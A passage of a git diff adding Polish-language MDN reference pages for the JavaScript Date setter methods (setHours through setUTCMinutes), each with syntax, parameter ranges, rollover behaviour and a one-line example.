+title: Date.prototype.setHours()
+slug: Web/JavaScript/Referencje/Obiekty/Date/setHours
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setHours
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Ustawia godziny dla określonej daty stosownie do czasu lokalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setHours(<var>hoursValue</var>[, <var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]]])</code></pre>
+
+<h3 id="Do_wersji_JavaScript_1.3" name="Do_wersji_JavaScript_1.3">Do wersji JavaScript 1.3</h3>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setHours(<var>hoursValue</var>)</code></pre>
+
+<h2 id="Parametry" name="Parametry">Parametry</h2>
+
+<dl>
+ <dt><code>hoursValue</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 i 23, reprezentująca godziny.</dd>
+</dl>
+
+<dl>
+ <dt><code>minutesValue</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 i 59, reprezentująca minuty.</dd>
+</dl>
+
+<dl>
+ <dt><code>secondsValue</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 i 59, reprezentująca sekundy. Jeśli określisz parametr <code>secondsValue</code>, musisz także określić <code>minutesValue</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>msValue</code> </dt>
+ <dd>A Liczba pomiędzy 0 i 999, reprezentująca milisekundy. Jeśli określisz parametr <code>msValue</code>, musisz także określić <code>minutesValue</code> i <code>secondsValue</code>.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli nie określisz parametrów <code>minutesValue</code>, <code>secondsValue</code> i <code>msValue</code>, wartość zwracana użytych metod {{jsxref("Date.prototype.getMinutes()", "getMinutes()")}}, {{jsxref("Date.prototype.getSeconds()", "getSeconds()")}} i {{jsxref("Date.prototype.getMilliseconds()", "getMilliseconds()")}}.</p>
+
+<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setHours</code> próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 100 dla <code>secondsValue</code>, minuty będą wzrastać o 1 (min + 1), i wartość 40 będzie użyta dla sekund.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad_Zastosowanie_setHours" name="Przyk.C5.82ad:_Zastosowanie_setHours">Przykład: Zastosowanie <code>setHours()</code></h3>
+
+<pre class="brush: js">var the BigDay = new Date();
+theBigDay.setHours(7);
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/setmilliseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/setmilliseconds/index.html
new file mode 100644
index 0000000000..c2a1359801
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/setmilliseconds/index.html
@@ -0,0 +1,45 @@
+---
+title: Date.prototype.setMilliseconds()
+slug: Web/JavaScript/Referencje/Obiekty/Date/setMilliseconds
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Ustawia milisekundy dla określonej daty stosownie do czasu lokalnego.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMilliseconds(<var>millisecondsValue</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>millisecondsValue</code> </dt>
+ <dd>Liczba pomiędzy 0 a 999, reprezentująca milisekundy.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli sprecyzujesz liczbę z poza oczekiwanego szeregu, informacje zawarte w obiekcie <code>Date</code> będą aktualizowane. Na przykład, jeśli określisz 1005, liczba sekund rośnie o 1, i 5 jest użyte dla milisekund.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_setMilliseconds" name="Przyk.C5.82ad:_Zastosowanie_setMilliseconds">Przykład: Zastosowanie <code>setMilliseconds()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setMilliseconds(100);
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/setminutes/index.html b/files/pl/web/javascript/referencje/obiekty/date/setminutes/index.html
new file mode 100644
index 0000000000..011137c893
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/setminutes/index.html
@@ -0,0 +1,60 @@
+---
+title: Date.prototype.setMinutes()
+slug: Web/JavaScript/Referencje/Obiekty/Date/setMinutes
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMinutes
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Ustawia minuty dla określonej daty stosownie do czasu lokalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMinutes(<var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]])</code></pre>
+
+<h3 id="Do_wersji_JavaScript_1.3" name="Do_wersji_JavaScript_1.3">Do wersji JavaScript 1.3</h3>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMinutes(<var>minutesValue</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>minutesValue</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 i 59, reprezentująca minuty.</dd>
+</dl>
+
+<dl>
+ <dt><code>secondsValue</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 i 59, reprezentująca sekundy. Jeśli określisz parametr <code>secondsValue</code>, musisz także określić <code>minutesValue</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>msValue</code> </dt>
+ <dd>Liczba pomiędzy 0 i 999, reprezentująca milisekundy. Jeśli określisz parametr <code>msValue</code>, musisz także określić <code>minutesValue</code> i <code>secondsValue</code>.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli nie określono parametrów <code>secondsValue</code> i <code>msValue</code>, są użyte wartości zwracanych metod <code>getSeconds</code> i <code>getMilliseconds</code>.</p>
+
+<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setMinutes</code> próbuje zaktualizować informacje o dacie w obiekcie <code>Date</code>. Na przykład, jeśli użyjesz wartości 100 dla <code>secondsValue</code>, minuty (<code>minutesValue</code>) będą wzrastać o 1 (<code>minutesValue</code> + 1) i wartość 40 będzie użyta dla sekund.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_setMinutes" name="Przyk.C5.82ad:_Zastosowanie_setMinutes">Przykład: Zastosowanie <code>setMinutes()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setMinutes(45);</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMinutes()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/setmonth/index.html b/files/pl/web/javascript/referencje/obiekty/date/setmonth/index.html
new file mode 100644
index 0000000000..7016cb97e1
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/setmonth/index.html
@@ -0,0 +1,56 @@
+---
+title: Date.prototype.setMonth()
+slug: Web/JavaScript/Referencje/Obiekty/Date/setMonth
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMonth
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Ustawia nazwę miesiąca dla określonej daty stosownie do czasu lokalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMonth(<var>monthValue</var>[, <var>dayValue</var>])</code></pre>
+
+<h3 id="Do_wersji_JavaScript_1.3" name="Do_wersji_JavaScript_1.3">Do wersji JavaScript 1.3</h3>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setMonth(<var>monthValue</var>)</code></pre>
+
+<h3 id="Parameter" name="Parameter">Parametry</h3>
+
+<dl>
+ <dt><code>monthValue</code> </dt>
+ <dd>Liczba całkowita z przedziału 0 i 11 (reprezentuje miesiące od stycznia do grudnia).</dd>
+</dl>
+
+<dl>
+ <dt><code>dayValue</code> </dt>
+ <dd>Liczba całkowita z przedziału 1 i 31, reprezentuje dzień miesiąca.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli nie określisz parametru <code>dayValue</code>, zostanie zwrócona wartość użytej metody <code>getDate</code>.</p>
+
+<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setMonth()</code> próbuje zaktualizować informacje o dacie w obiekcie <code>Date</code>. Na przykład, jeśli użyjesz wartości 15 dla <code>monthValue</code>, rok wzrośnie o 1 (year + 1) i 3 będzie użyte dla miesiąca.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_setMonth" name="Przyk.C5.82ad:_Zastosowanie_setMonth">Przykład: Zastosowanie <code>setMonth()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date;
+theBigDay.setMonth(6);
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMonth()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/setseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/setseconds/index.html
new file mode 100644
index 0000000000..7a50dd98a7
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/setseconds/index.html
@@ -0,0 +1,56 @@
+---
+title: Date.prototype.setSeconds()
+slug: Web/JavaScript/Referencje/Obiekty/Date/setSeconds
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setSeconds
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Ustawia sekundy dla określonej daty stosownie do czasu lokalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setSeconds(<var>secondsValue</var>[, <var>msValue</var>])</code></pre>
+
+<h3 id="Do_wersji_JavaScript_1.3" name="Do_wersji_JavaScript_1.3">Do wersji JavaScript 1.3</h3>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setSeconds(<var>secondsValue</var>)</code></pre>
+
+<h2 id="Parametry" name="Parametry">Parametry</h2>
+
+<dl>
+ <dt><code>secondsValue</code> </dt>
+ <dd>Liczba całkowita z przedziału 0 i 59.</dd>
+</dl>
+
+<dl>
+ <dt><code>msValue</code> </dt>
+ <dd>Liczba z przedziału 0 i 999, reprezentująca milisekundy.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli nie określisz parametru <code>msValue</code>, wartość zwracana użytej metody {{jsxref("Date.prototype.getMilliseconds()", "getMilliseconds()")}}.</p>
+
+<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setSeconds()</code> próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 100 dla <code>secondsValue</code>, minuty zawarte w obiekcie {{jsxref("Date")}} będą wzrastać o 1 i wartość 40 będzie użyta dla sekund.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_setSeconds" name="Przyk.C5.82ad:_Zastosowanie_setSeconds">Przykład: Zastosowanie <code>setSeconds()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setSeconds(30);
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCSeconds()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/settime/index.html b/files/pl/web/javascript/referencje/obiekty/date/settime/index.html
new file mode 100644
index 0000000000..5aca5a36d7
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/settime/index.html
@@ -0,0 +1,46 @@
+---
+title: Date.prototype.setTime()
+slug: Web/JavaScript/Referencje/Obiekty/Date/setTime
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setTime
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Ustawia wartość obiektu {{jsxref("Date")}} stosownie do czasu lokalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setTime(<var>timeValue</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>timeValue</code> </dt>
+ <dd>Liczba całkowita reprezentująca liczbę milisekund liczonych od 1 stycznia 1970, 00:00:00.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Użyj metody <code>setTime()</code>, aby pomóc przydzielić dacie czas następnego obiektu {{jsxref("Date")}}.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_setTime" name="Przyk.C5.82ad:_Zastosowanie_setTime">Przykład: Zastosowanie <code>setTime()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date("July 1, 1999");
+var sameAsBigDay = new Date();
+sameAsBigDay.setTime(theBigDay.getTime())
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getTime()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcdate/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcdate/index.html
new file mode 100644
index 0000000000..81496f9c1f
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/setutcdate/index.html
@@ -0,0 +1,45 @@
+---
+title: Date.prototype.setUTCDate()
+slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCDate
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCDate
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Ustawia dzień miesiąca dla określonej daty stosownie do czasu uniwersalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCDate(<var>dayValue</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>dayValue</code> </dt>
+ <dd>Liczba całkowita od 1 do 31, reprezentująca dni miesiąca.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setUTCDate()</code> próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 40 dla <code>dayValue</code>, i nazwa miesiąca jaki jest w danym momencie przechowywany w obiekcie {{jsxref("Date")}} będzie czerwcem, to do dni przypiszemy wartość 10, ale wyświetlaną nazwą miesiąca będzie już lipiec.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_setUTCDate" name="Przyk.C5.82ad:_Zastosowanie_setUTCDate">Przykład: Zastosowanie <code>setUTCDate()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCDate(20);
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcfullyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcfullyear/index.html
new file mode 100644
index 0000000000..71ea1db756
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/setutcfullyear/index.html
@@ -0,0 +1,57 @@
+---
+title: Date.prototype.setUTCFullYear()
+slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCFullYear
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Ustawia pełen rok dla określonej daty stosownie do czasu uniwersalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCFullYear(<var>yearValue</var>[, <var>monthValue</var>[, <var>dayValue</var>]])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>yearValue</code> </dt>
+ <dd>Liczba całkowita określająca numerycznie wartość roku, na przykład: 1995.</dd>
+</dl>
+
+<dl>
+ <dt><code>monthValue</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 a 11, reprezentuje nazwy miesięcy, od stycznia do grudnia.</dd>
+</dl>
+
+<dl>
+ <dt><code>dayValue</code> </dt>
+ <dd>Liczba całkowita pomiędzy 1 a 31, reprezentuje dzień miesiąca. Jeśli określimy parametr <code>dayValue</code>, to musimy także sprecyzować <code>monthValue</code>.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli nie określisz parametrów <code>monthValue</code> i <code>dayValue</code>, wartość zwracana metod {{jsxref("Date.prototype.getUTCMonth()", "getUTCMonth()")}} i {{jsxref("Date.prototype.getUTCDate()", "getUTCDate()")}} jest w użyciu.</p>
+
+<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setUTCFullYear()</code> próbuje zaktualizować informacje o dacie w obiekcie <code>Date</code>. Na przykład, jeśli użyjesz wartości 15 dla <code>monthValue</code>, lata będą wzrastać o 1 (rok + 1), i 3 jest użyta jako miesiąc.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_setUTCFullYear" name="Przyk.C5.82ad:_Zastosowanie_setUTCFullYear">Przykład: Zastosowanie <code>setUTCFullYear()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCFullYear(1997);
+</pre>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutchours/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutchours/index.html
new file mode 100644
index 0000000000..437e4bae2f
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/setutchours/index.html
@@ -0,0 +1,62 @@
+---
+title: Date.prototype.setUTCHours()
+slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCHours
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCHours
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Ustawia godzinę dla określonej daty stosownie do czasu uniwersalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCHours(<var>hoursValue</var>[, <var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]]])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>hoursValue</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 a 23, reprezentująca godzinę.</dd>
+</dl>
+
+<dl>
+ <dt><code>minutesValue</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 a 59, reprezentująca minutami.</dd>
+</dl>
+
+<dl>
+ <dt><code>secondsValue</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 a 59, reprezentująca sekundy. Jeśli określisz parametr <code>secondsValue</code>, to musisz także określić parametr <code>minutesValue</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>msValue</code> </dt>
+ <dd>Liczba pomiędzy 0 a 999, reprezentująca milisekundy. Jeśli określisz parametr <code>msValue</code>, to musisz także określić parametry <code>minutesValue</code> i <code>secondsValue</code>.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli nie określisz parametrów <code>minutesValue</code>, <code>secondsValue</code> i <code>msValue</code>, wartość zwracana będzie użytych metod {{jsxref("Date.prototype.getUTCMinutes()", "getUTCMinutes()")}}, {{jsxref("Date.prototype.getUTCSeconds()", "getUTCSeconds()")}} i {{jsxref("Date.prototype.getUTCMilliseconds()", "getUTCMilliseconds()")}}.</p>
+
+<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setUTCHours()</code> próbuje zaktualizować informacje o dacie w obiekcie <code>Date</code>. Na przykład, jeśli użyjesz wartości 100 dla <code>secondsValue</code>, minuty zawarte w obiekcie <code>Date</code> będą wzrastać o 1 i wartość 40 będzie użyta dla sekund.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_setUTCHours" name="Przyk.C5.82ad:_Zastosowanie_setUTCHours">Przykład: Zastosowanie <code>setUTCHours()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCHours(8);
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setHours()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcmilliseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcmilliseconds/index.html
new file mode 100644
index 0000000000..f12fd4c838
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/setutcmilliseconds/index.html
@@ -0,0 +1,45 @@
+---
+title: Date.prototype.UTCMilliseconds()
+slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCMilliseconds
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Ustawia milisekundy dla określonej daty stosownie do czasu uniwersalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCMilliseconds(<var>millisecondsValue</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>millisecondsValue</code> </dt>
+ <dd>Liczba pomiędzy 0 a 999, reprezentująca milisekundy.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli parametr, który określiłeś jest z poza szeregu, <code>setUTCMilliseconds()</code> próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz 1100 dla <code>millisecondsValue</code>, sekunda przechowana w obiekcie {{jsxref("Date")}} wzrośnie o 1 i wartość 100 będzie użyta dla milisekund.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h4 id="Przyk.C5.82ad:_Zastosowanie_setUTCMilliseconds" name="Przyk.C5.82ad:_Zastosowanie_setUTCMilliseconds">Przykład: Zastosowanie <code>setUTCMilliseconds()</code></h4>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCMilliseconds(500);
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setMilliseconds()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcminutes/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcminutes/index.html
new file mode 100644
index 0000000000..d3ea20bafa
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/setutcminutes/index.html
@@ -0,0 +1,57 @@
+---
+title: Date.prototype.setUTCMinutes()
+slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCMinutes
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Ustawia minuty dla określonej daty stosownie do czasu uniwersalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCMinutes(<var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>minutesValue</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 i 59, reprezentująca minuty.</dd>
+</dl>
+
+<dl>
+ <dt><code>secondsValue</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 i 59, reprezentująca sekundy. Jeśli określisz parametr <code>secondsValue</code>, musisz także określić <code>minutesValue</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>msValue</code> </dt>
+ <dd>Liczba pomiędzy 0 i 999, reprezentująca milisekundy. Jeśli określisz parametr <code>msValue</code>, musisz także określić <code>minutesValue</code> i <code>secondsValue</code>.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli nie określono parametrów <code>secondsValue</code> i <code>msValue</code>, są użyte wartości zwracanych metod {{jsxref("Date.prototype.getUTCSeconds()", "getUTCSeconds()")}} i {{jsxref("Date.prototype.getUTCMilliseconds()", "getUTCMilliseconds()")}}.</p>
+
+<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setUTCMinutes()</code> próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 100 dla <code>secondsValue</code>, minuty (<code>minutesValue</code>) będą wzrastać o 1 (<code>minutesValue</code> + 1) i wartość 40 będzie użyta dla sekund.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_setUTCMinutes" name="Przyk.C5.82ad:_Zastosowanie_setUTCMinutes">Przykład: Zastosowanie <code>setUTCMinutes()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCMinutes(43);
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setMinutes()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcmonth/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcmonth/index.html
new file mode 100644
index 0000000000..78448e441f
--- /dev/null
